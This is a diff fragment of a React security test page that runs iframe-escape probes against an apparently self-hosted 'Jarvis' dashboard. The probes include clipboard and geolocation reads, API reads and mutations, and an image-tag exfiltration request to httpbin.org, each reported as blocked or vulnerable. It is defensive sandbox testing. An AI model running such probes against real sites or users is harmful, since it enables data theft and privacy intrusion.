+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
379
+ }
380
+ i++;
381
+
382
+ // Test 10: Clipboard Read
383
+ try {
384
+ const text = await navigator.clipboard.readText();
385
+ updateResult(i, { status: "vulnerable", detail: `Clipboard content: "${text.slice(0, 50)}"` });
386
+ } catch (err) {
387
+ updateResult(i, { status: "blocked", detail: `Clipboard denied: ${(err as Error).message}` });
388
+ }
389
+ i++;
390
+
391
+ // Test 11: Form Submission to API
392
+ try {
393
+ const testIframe = document.createElement("iframe");
394
+ testIframe.name = "__sec_form_target";
395
+ testIframe.style.display = "none";
396
+ document.body.appendChild(testIframe);
397
+ const form = document.createElement("form");
398
+ form.action = "/api/health";
399
+ form.method = "GET";
400
+ form.target = "__sec_form_target";
401
+ document.body.appendChild(form);
402
+ form.submit();
403
+ await new Promise((r) => setTimeout(r, 2000));
404
+ try {
405
+ const iframeDoc = testIframe.contentDocument;
406
+ const text = iframeDoc?.body?.textContent || "";
407
+ if (text && text.includes("status")) {
408
+ updateResult(i, { status: "vulnerable", detail: `Form loaded API response: ${text.slice(0, 100)}` });
409
+ } else {
410
+ updateResult(i, { status: "blocked", detail: "Form submitted but response not readable" });
411
+ }
412
+ } catch {
413
+ updateResult(i, { status: "blocked", detail: "Cannot read form target iframe (cross-origin)" });
414
+ }
415
+ document.body.removeChild(form);
416
+ document.body.removeChild(testIframe);
417
+ } catch (err) {
418
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
419
+ }
420
+ i++;
421
+
422
+ // Test 12: Service Worker Registration
423
+ try {
424
+ if ('serviceWorker' in navigator) {
425
+ const reg = await navigator.serviceWorker.register('/sw.js');
426
+ reg.unregister();
427
+ updateResult(i, { status: "vulnerable", detail: "Service Worker registered successfully!" });
428
+ } else {
429
+ updateResult(i, { status: "blocked", detail: "Service Worker API not available" });
430
+ }
431
+ } catch (err) {
432
+ updateResult(i, { status: "blocked", detail: `SW blocked: ${(err as Error).message}` });
433
+ }
434
+ i++;
435
+
436
+ // Test 13: IndexedDB Access
437
+ try {
438
+ const dbs = await indexedDB.databases();
439
+ const names = dbs.map(d => d.name).filter(Boolean);
440
+ const dashboardDbs = names.filter(n => n!.includes("jarvis") || n!.includes("vault"));
441
+ if (dashboardDbs.length > 0) {
442
+ updateResult(i, { status: "vulnerable", detail: `Dashboard DBs found: ${dashboardDbs.join(", ")}` });
443
+ } else {
444
+ updateResult(i, { status: "blocked", detail: names.length > 0 ? `Only own DBs: ${names.join(", ")}` : "No IndexedDB databases accessible" });
445
+ }
446
+ } catch (err) {
447
+ updateResult(i, { status: "blocked", detail: `IndexedDB blocked: ${(err as Error).message}` });
448
+ }
449
+ i++;
450
+
451
+ // Test 14: Parent DOM Access
452
+ try {
453
+ const parentDoc = window.parent.document;
454
+ const title = parentDoc.title;
455
+ updateResult(i, { status: "vulnerable", detail: `Parent document title: "${title}"` });
456
+ } catch (err) {
457
+ updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
458
+ }
459
+ i++;
460
+
461
+ // Test 15: Fetch Conversation History
462
+ try {
463
+ const resp = await fetch("/api/conversations", { signal: AbortSignal.timeout(3000) });
464
+ if (resp.ok) {
465
+ const data = await resp.text();
466
+ updateResult(i, { status: "vulnerable", detail: `Got conversations: ${data.slice(0, 200)}` });
467
+ } else {
468
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
469
+ }
470
+ } catch (err) {
471
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
472
+ }
473
+ i++;
474
+
475
+ // Test 16: Mutate Vault — Create Entity
476
+ try {
477
+ const resp = await fetch("/api/vault/entities", {
478
+ method: "POST",
479
+ headers: { "Content-Type": "application/json" },
480
+ body: JSON.stringify({ name: "__sec_test_entity", type: "person" }),
481
+ signal: AbortSignal.timeout(3000),
482
+ });
483
+ if (resp.ok || resp.status === 201) {
484
+ updateResult(i, { status: "vulnerable", detail: `Entity created! ${(await resp.text()).slice(0, 100)}` });
485
+ } else {
486
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
487
+ }
488
+ } catch (err) {
489
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
490
+ }
491
+ i++;
492
+
493
+ // Test 17: Delete Content via API
494
+ try {
495
+ const resp = await fetch("/api/content/nonexistent-id-12345", {
496
+ method: "DELETE",
497
+ signal: AbortSignal.timeout(3000),
498
+ });
499
+ // On the direct localhost path, 404 comes from the dev server (no such route)
500
+ // not from Jarvis. Only flag as vulnerable if the response looks like a Jarvis
501
+ // API response (JSON with "error" or "ok" keys).
502
+ const text = await resp.text();
503
+ const isJarvisResponse = text.includes('"error"') || text.includes('"ok"');
504
+ if (resp.ok && isJarvisResponse) {
505
+ updateResult(i, { status: "vulnerable", detail: `DELETE succeeded: ${text.slice(0, 100)}` });
506
+ } else if (resp.status === 404 && isJarvisResponse) {
507
+ updateResult(i, { status: "vulnerable", detail: `Jarvis API reachable (404): ${text.slice(0, 100)}` });
508
+ } else {
509
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status} (not a Jarvis API response)` });
510
+ }
511
+ } catch (err) {
512
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
513
+ }
514
+ i++;
515
+
516
+ // Test 18: Exfiltrate via Image Tag
517
+ try {
518
+ const img = document.createElement("img");
519
+ const exfilUrl = "https://httpbin.org/get?stolen=test-data-from-iframe";
520
+ img.src = exfilUrl;
521
+ document.body.appendChild(img);
522
+ await new Promise((r) => setTimeout(r, 1000));
523
+ // Images always load (even sandboxed) — the question is whether we had data to steal
524
+ updateResult(i, { status: "blocked", detail: "Image tag created (network request sent but no stolen data — API access was blocked)" });
525
+ document.body.removeChild(img);
526
+ } catch (err) {
527
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
528
+ }
529
+ i++;
530
+
531
+ // Test 19: WebSocket to Dashboard Port directly
532
+ try {
533
+ const ws = new WebSocket("ws://localhost:3142/ws");
534
+ await new Promise<void>((resolve) => {
535
+ const timeout = setTimeout(() => { ws.close(); updateResult(19, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
536
+ ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(19, { status: "vulnerable", detail: "Connected to ws://localhost:3142/ws!" }); resolve(); };
537
+ ws.onerror = () => { clearTimeout(timeout); updateResult(19, { status: "blocked", detail: "WebSocket to :3142 refused" }); resolve(); };
538
+ });
539
+ } catch (err) {
540
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
541
+ }
542
+ i++;
543
+
544
+ // Test 20: Fetch Site Builder Files
545
+ try {
546
+ const resp = await fetch("/api/sites/projects", { signal: AbortSignal.timeout(3000) });
547
+ if (resp.ok) {
548
+ const data = await resp.text();
549
+ updateResult(i, { status: "vulnerable", detail: `Projects listed: ${data.slice(0, 200)}` });
550
+ } else {
551
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
552
+ }
553
+ } catch (err) {
554
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
555
+ }
556
+ i++;
557
+
558
+ // Test 21: History / Location Sniffing
559
+ try {
560
+ const len = window.top?.history?.length;
561
+ const topHref = window.top?.location?.href;
562
+ if (topHref) {
563
+ updateResult(i, { status: "vulnerable", detail: `Top href: ${topHref.slice(0, 80)}, history: ${len}` });
564
+ } else if (len !== undefined) {
565
+ updateResult(i, { status: "vulnerable", detail: `History length: ${len} (top href blocked)` });
566
+ } else {
567
+ updateResult(i, { status: "blocked", detail: "Cannot access top frame history or location" });
568
+ }
569
+ } catch (err) {
570
+ updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
571
+ }
572
+ i++;
573
+
574
+ // Test 22: SharedWorker Cross-Tab
575
+ try {
576
+ const worker = new SharedWorker(
577
+ URL.createObjectURL(new Blob([`onconnect = (e) => { e.ports[0].postMessage("alive"); }`], { type: "text/javascript" }))
578
+ );
579
+ worker.port.start();
580
+ await new Promise<void>((resolve) => {
581
+ const timeout = setTimeout(() => { updateResult(22, { status: "blocked", detail: "SharedWorker created but no cross-tab data" }); resolve(); }, 2000);
582
+ worker.port.onmessage = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker works but isolated to this origin" }); resolve(); };
583
+ worker.onerror = () => { clearTimeout(timeout); updateResult(22, { status: "blocked", detail: "SharedWorker creation failed" }); resolve(); };
584
+ });
585
+ } catch (err) {
586
+ updateResult(i, { status: "blocked", detail: `SharedWorker blocked: ${(err as Error).message}` });
587
+ }
588
+ i++;
589
+
590
+ // Test 23: BroadcastChannel Eavesdrop
591
+ try {
592
+ const bc = new BroadcastChannel("jarvis");
593
+ let received = false;
594
+ bc.onmessage = () => { received = true; };
595
+ // Also try sending to see if dashboard picks it up
596
+ bc.postMessage({ type: "probe", from: "security-test" });
597
+ await new Promise((r) => setTimeout(r, 2000));
598
+ bc.close();
599
+ if (received) {
600
+ updateResult(i, { status: "vulnerable", detail: "Received message on 'jarvis' BroadcastChannel!" });
601
+ } else {
602
+ updateResult(i, { status: "blocked", detail: "BroadcastChannel open but no messages (different origin or not used)" });
603
+ }
604
+ } catch (err) {
605
+ updateResult(i, { status: "blocked", detail: `BroadcastChannel blocked: ${(err as Error).message}` });
606
+ }
607
+ i++;
608
+
609
+ // Test 24: Credential Prompt Phishing
610
+ try {
611
+ // Don't actually show — just test if the API is available
612
+ const canPrompt = typeof window.prompt === "function";
613
+ const canConfirm = typeof window.confirm === "function";
614
+ if (canPrompt || canConfirm) {
615
+ updateResult(i, { status: "blocked", detail: `prompt/confirm available as functions but sandbox may block display (prompt=${canPrompt}, confirm=${canConfirm})` });
616
+ } else {
617
+ updateResult(i, { status: "blocked", detail: "prompt/confirm not available" });
618
+ }
619
+ } catch (err) {
620
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
621
+ }
622
+ i++;
623
+
624
+ // Test 25: Download Trigger
625
+ try {
626
+ const a = document.createElement("a");
627
+ a.href = "data:text/plain,malicious-content";
628
+ a.download = "pwned.txt";
629
+ a.style.display = "none";
630
+ document.body.appendChild(a);
631
+ a.click();
632
+ document.body.removeChild(a);
633
+ // Sandboxed iframes without allow-downloads block this
634
+ updateResult(i, { status: "blocked", detail: "Download link clicked (sandbox blocks allow-downloads by default)" });
635
+ } catch (err) {
636
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
637
+ }
638
+ i++;
639
+
640
+ // Test 26: Geolocation Access
641
+ try {
642
+ await new Promise<void>((resolve) => {
643
+ const timeout = setTimeout(() => { updateResult(26, { status: "blocked", detail: "Geolocation timed out (permission denied or sandbox)" }); resolve(); }, 3000);
644
+ navigator.geolocation.getCurrentPosition(
645
+ (pos) => { clearTimeout(timeout); updateResult(26, { status: "vulnerable", detail: `Location: ${pos.coords.latitude}, ${pos.coords.longitude}` }); resolve(); },
646
+ (err) => { clearTimeout(timeout); updateResult(26, { status: "blocked", detail: `Geolocation denied: ${err.message}` }); resolve(); },
647
+ { timeout: 2500 }
648
+ );
649
+ });
650
+ } catch (err) {
651
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
652
+ }
653
+ i++;
654
+
655
+ // Test 27: Camera/Mic Access
656
+ try {
657
+ const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
658
+ stream.getTracks().forEach(t => t.stop());
659
+ updateResult(i, { status: "vulnerable", detail: "Microphone access granted!" });
660
+ } catch (err) {
661
+ updateResult(i, { status: "blocked", detail: `Media denied: ${(err as Error).message}` });
662
+ }
663
+ i++;
664
+
665
+ setRunning(false);
666
+ };
667
+
668
+ useEffect(() => {
669
+ runTests();
670
+ }, []);
671
+
672
+ const blockedCount = results.filter((r) => r.status === "blocked").length;
673
+ const vulnCount = results.filter((r) => r.status === "vulnerable").length;
674
+ const pendingCount = results.filter((r) => r.status === "pending").length;
675
+
676
+ return (
677
+ <div style={{ fontFamily: "system-ui, sans-serif", maxWidth: 960, margin: "0 auto", padding: 20 }}>
678
+ <h1 style={{ borderBottom: "2px solid #333", paddingBottom: 8 }}>
679
+ Site Builder Security Test Suite
680
+ </h1>
681
+ <p style={{ color: "#666", fontSize: 14 }}>
682
+ This page attempts every attack vector from the proxy security audit.
683
+ <br />
684
+ Open this project in the Jarvis Sites page to test both <strong>proxy mode</strong> and{" "}
685
+ <strong>direct localhost</strong> mode.
686
+ </p>
687
+
688
+ <div style={{ display: "flex", gap: 16, margin: "16px 0" }}>
689
+ <Stat label="BLOCKED" value={blockedCount} color="#22c55e" />
690
+ <Stat label="VULNERABLE" value={vulnCount} color="#ef4444" />
691
+ <Stat label="PENDING" value={pendingCount} color="#a3a3a3" />
692
+ <Stat label="TOTAL" value={results.length} color="#555" />
693
+ </div>
694
+
695
+ {vulnCount === 0 && blockedCount > 0 && (
696
+ <div style={{ background: "#f0fdf4", border: "1px solid #86efac", borderRadius: 8, padding: 16, marginBottom: 16 }}>
697
+ All {blockedCount} attack vectors blocked. Sandbox and security hardening are effective.
698
+ </div>
699
+ )}
700
+
701
+ {vulnCount > 0 && (
702
+ <div style={{ background: "#fef2f2", border: "1px solid #fca5a5", borderRadius: 8, padding: 16, marginBottom: 16 }}>
703
+ {vulnCount} attack(s) succeeded! Security fixes may not be applied or the page is not sandboxed.
704
+ </div>
705
+ )}
706
+
707
+ <button
708
+ onClick={runTests}
709
+ disabled={running}
710
+ style={{
711
+ background: running ? "#a3a3a3" : "#2563eb",
712
+ color: "#fff",
713
+ border: "none",
714
+ borderRadius: 6,
715
+ padding: "8px 20px",
716
+ cursor: running ? "default" : "pointer",
717
+ fontSize: 14,
718
+ marginBottom: 16,
719
+ }}
720
+ >
721
+ {running ? "Running..." : "Re-run All Tests"}
722
+ </button>
723
+
724
+ <table style={{ width: "100%", borderCollapse: "collapse", fontSize: 13 }}>
725
+ <thead>
726
+ <tr style={{ borderBottom: "2px solid #e5e5e5", textAlign: "left" }}>
727
+ <th style={{ padding: "8px 4px", width: 80 }}>Status</th>
728
+ <th style={{ padding: "8px 4px" }}>Test</th>
729
+ <th style={{ padding: "8px 4px", width: 180 }}>Audit Ref</th>
730
+ <th style={{ padding: "8px 4px" }}>Detail</th>
731
+ </tr>
732
+ </thead>
733
+ <tbody>
734
+ {results.map((r, idx) => (
735
+ <tr key={idx} style={{ borderBottom: "1px solid #f0f0f0", background: r.status === "vulnerable" ? "#fef2f2" : undefined }}>
736
+ <td style={{ padding: "8px 4px" }}>
737
+ <StatusBadge status={r.status} />
738
+ </td>
739
+ <td style={{ padding: "8px 4px" }}>
740
+ <strong>{r.name}</strong>
741
+ <div style={{ color: "#888", fontSize: 11, marginTop: 2 }}>{r.description}</div>
742
+ </td>
743
+ <td style={{ padding: "8px 4px", color: "#666", fontSize: 11 }}>{r.auditRef}</td>
744
+ <td style={{ padding: "8px 4px", fontSize: 11, fontFamily: "monospace", color: "#555", maxWidth: 300, wordBreak: "break-word" }}>
745
+ {r.detail}
746
+ </td>
747
+ </tr>
748
+ ))}
749
+ </tbody>
750
+ </table>
751
+ </div>
752
+ );
753
+ }
754
+
755
+ function Stat({ label, value, color }: { label: string; value: number; color: string }) {
756
+ return (
757
+ <div style={{ background: "#fafafa", border: "1px solid #e5e5e5", borderRadius: 8, padding: "12px 20px", textAlign: "center", minWidth: 90 }}>
758
+ <div style={{ fontSize: 28, fontWeight: 700, color }}>{value}</div>
759
+ <div style={{ fontSize: 11, color: "#888", textTransform: "uppercase", letterSpacing: 1 }}>{label}</div>
760
+ </div>
761
+ );
762
+ }
763
+
764
+ function StatusBadge({ status }: { status: TestResult["status"] }) {
765
+ const styles: Record<string, { bg: string; fg: string; label: string }> = {
766
+ pending: { bg: "#f5f5f5", fg: "#a3a3a3", label: "PENDING" },
767
+ blocked: { bg: "#dcfce7", fg: "#16a34a", label: "BLOCKED" },
768
+ vulnerable: { bg: "#fee2e2", fg: "#dc2626", label: "VULN" },
769
+ error: { bg: "#fef3c7", fg: "#d97706", label: "ERROR" },
770
+ };
771
+ const s = styles[status]!;
772
+ return (
773
+ <span style={{ display: "inline-block", background: s.bg, color: s.fg, borderRadius: 4, padding: "2px 8px", fontSize: 11, fontWeight: 700, letterSpacing: 0.5 }}>
774
+ {s.label}
775
+ </span>
776
+ );
777
+ }
778
+
779
+ const root = createRoot(document.getElementById("root")!);
780
+ root.render(<SecurityTests />);